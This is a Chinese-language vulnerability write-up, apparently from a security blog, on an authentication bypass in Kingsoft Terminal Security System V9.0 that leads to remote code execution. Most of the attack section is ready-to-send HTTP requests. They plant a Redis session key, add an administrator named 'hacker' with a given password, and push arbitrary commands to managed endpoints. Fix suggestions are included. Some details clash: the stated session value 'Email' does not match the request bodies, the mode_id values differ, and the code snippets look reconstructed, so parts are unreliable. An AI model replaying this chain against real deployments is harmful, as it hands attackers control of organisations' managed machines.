金山终端安全系统 V9.0 任意用户添加导致 RCE
字数 1283 2025-08-22 18:37:27

金山终端安全系统 V9.0 任意用户添加导致 RCE 漏洞分析

漏洞概述

金山终端安全系统 V9.0 存在一个严重的安全漏洞,攻击者可以通过构造特定的请求序列,绕过系统权限校验,实现任意用户添加并最终导致远程代码执行(RCE)。该漏洞主要涉及权限校验绕过和 Redis 缓存操纵。

漏洞分析

1. 系统入口点

系统的主要入口点在 inter/ajax.php,该路由可以访问到 inter 目录下的全部 PHP 文件。该文件包含权限校验逻辑:

// ajax.php 权限校验逻辑
if (!in_array($imd, $no_session_inter)) {
    check_sid($session_id);
}

$no_session_inter 变量来自 no_session_inter.php 文件中定义的数组,指定了哪些文件可以被未授权访问。

2. 权限校验绕过

当请求的文件不在 no_session_inter.php 的白名单中时,系统会调用 check_sid 函数进行校验:

function check_sid($session_id) {
    // 从 Redis 检查是否存在 login session
    if ($redis->exists("login_session_".$session_id)) {
        return true;
    }
    die("Access Denied");
}

关键点:

  • $session_id 变量是可控的
  • 检查 Redis 中是否存在 login_session_$session_id
  • 如果存在则验证通过

3. 可利用的文件

no_session_inter.php 中定义了两个关键文件:

  • checklogin.php - 可设置 SESSION 值
  • send_verify2email.php - 可设置 Redis 键值对

checklogin.php 分析

// 可设置 $_SESSION['userName']
session_start();
$_SESSION['userName'] = $_POST['uname'];

send_verify2email.php 分析

// 设置 Redis 键值对
$redis->set("login_session_".$_SESSION['userName'], "1", 60);

通过组合这两个文件的功能,可以:

  1. 通过 checklogin.php 设置 $_SESSION['userName']Email
  2. 通过 send_verify2email.php 在 Redis 中设置 login_session_Email
  3. 之后在请求其他接口时,设置 $session_idEmail 即可绕过权限校验

漏洞复现步骤

第一阶段:权限校验绕过

  1. 设置 SESSION 值
POST /inter/ajax.php?imd=checklogin HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

uname=login_session_
  1. 在 Redis 中添加键值对
POST /inter/ajax.php?imd=send_verify2email HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

mailTo=login_session_@qq.com

第二阶段:添加管理员用户

  1. 添加管理员用户
POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 285

{"add_user_info_cmd":{
    "userSession":"Email",
    "mode_id":"B666A8CD-2247-2CA8-4F7D-29EB058A27C2",
    "real_name":"",
    "user_name":"hacker",
    "type":"分级管理员",
    "tel":"",
    "mobile":"",
    "corp":"",
    "notice":"",
    "psw":"92d7ddd2a010c59511dc2905b7e14f64",
    "email":"",
    "VHierarchyName":"",
    "orgtype":"1"
}}

注意:

  • userSession 必须设置为 Email
  • 密码为 1qaz@WSX (MD5: 92d7ddd2a010c59511dc2905b7e14f64)

第三阶段:远程代码执行

  1. 获取 client_id
POST /inter/ajax.php?cmd=get_old_version_client HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 116

{"get_hight_path_client":{
    "key_words":"",
    "current_page":"1",
    "count_page":"10",
    "sort_type":"mac",
    "sort_order":"asc"
}}
  1. 执行任意命令
POST /inter/ajax.php?cmd=set_client_notify_cmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 252

{"set_client_notify_cmd":{
    "userSession":"Email",
    "mode_id":"B666A8CD-2247-2CA8-4F7D29EB058A27C08",
    "host_id":["2674434368"],
    "timeout":"7",
    "subcmd_name":"send_cmd_code",
    "subcmd_content":{
        "path":"C:\\Windows\\System32\\calc.exe",
        "param":"",
        "silent":"0"
    }
}}

漏洞修复建议

  1. 移除或严格限制 send_verify2email.php 的功能
  2. 加强 check_sid 函数的校验逻辑
  3. 对 Redis 键的设置进行更严格的验证
  4. 对管理员添加功能增加二次验证
  5. 对命令执行功能增加权限校验

总结

该漏洞通过组合多个功能点的缺陷,实现了从权限校验绕过到远程代码执行的完整攻击链。关键在于:

  1. 利用 checklogin.php 控制 SESSION
  2. 利用 send_verify2email.php 操纵 Redis 缓存
  3. 绕过权限校验后滥用系统功能

这种类型的漏洞强调了在设计系统时需要全面考虑各组件之间的安全交互,特别是权限校验机制需要贯穿所有敏感操作。

金山终端安全系统 V9.0 任意用户添加导致 RCE 漏洞分析 漏洞概述 金山终端安全系统 V9.0 存在一个严重的安全漏洞,攻击者可以通过构造特定的请求序列,绕过系统权限校验,实现任意用户添加并最终导致远程代码执行(RCE)。该漏洞主要涉及权限校验绕过和 Redis 缓存操纵。 漏洞分析 1. 系统入口点 系统的主要入口点在 inter/ajax.php ,该路由可以访问到 inter 目录下的全部 PHP 文件。该文件包含权限校验逻辑: $no_session_inter 变量来自 no_session_inter.php 文件中定义的数组,指定了哪些文件可以被未授权访问。 2. 权限校验绕过 当请求的文件不在 no_session_inter.php 的白名单中时,系统会调用 check_sid 函数进行校验: 关键点: $session_id 变量是可控的 检查 Redis 中是否存在 login_session_$session_id 键 如果存在则验证通过 3. 可利用的文件 no_session_inter.php 中定义了两个关键文件: checklogin.php - 可设置 SESSION 值 send_verify2email.php - 可设置 Redis 键值对 checklogin.php 分析 send_ verify2email.php 分析 通过组合这两个文件的功能,可以: 通过 checklogin.php 设置 $_SESSION['userName'] 为 Email 通过 send_verify2email.php 在 Redis 中设置 login_session_Email 键 之后在请求其他接口时,设置 $session_id 为 Email 即可绕过权限校验 漏洞复现步骤 第一阶段:权限校验绕过 设置 SESSION 值 在 Redis 中添加键值对 第二阶段:添加管理员用户 添加管理员用户 注意: userSession 必须设置为 Email 密码为 1qaz@WSX (MD5: 92d7ddd2a010c59511dc2905b7e14f64) 第三阶段:远程代码执行 获取 client_ id 执行任意命令 漏洞修复建议 移除或严格限制 send_verify2email.php 的功能 加强 check_sid 函数的校验逻辑 对 Redis 键的设置进行更严格的验证 对管理员添加功能增加二次验证 对命令执行功能增加权限校验 总结 该漏洞通过组合多个功能点的缺陷,实现了从权限校验绕过到远程代码执行的完整攻击链。关键在于: 利用 checklogin.php 控制 SESSION 利用 send_verify2email.php 操纵 Redis 缓存 绕过权限校验后滥用系统功能 这种类型的漏洞强调了在设计系统时需要全面考虑各组件之间的安全交互,特别是权限校验机制需要贯穿所有敏感操作。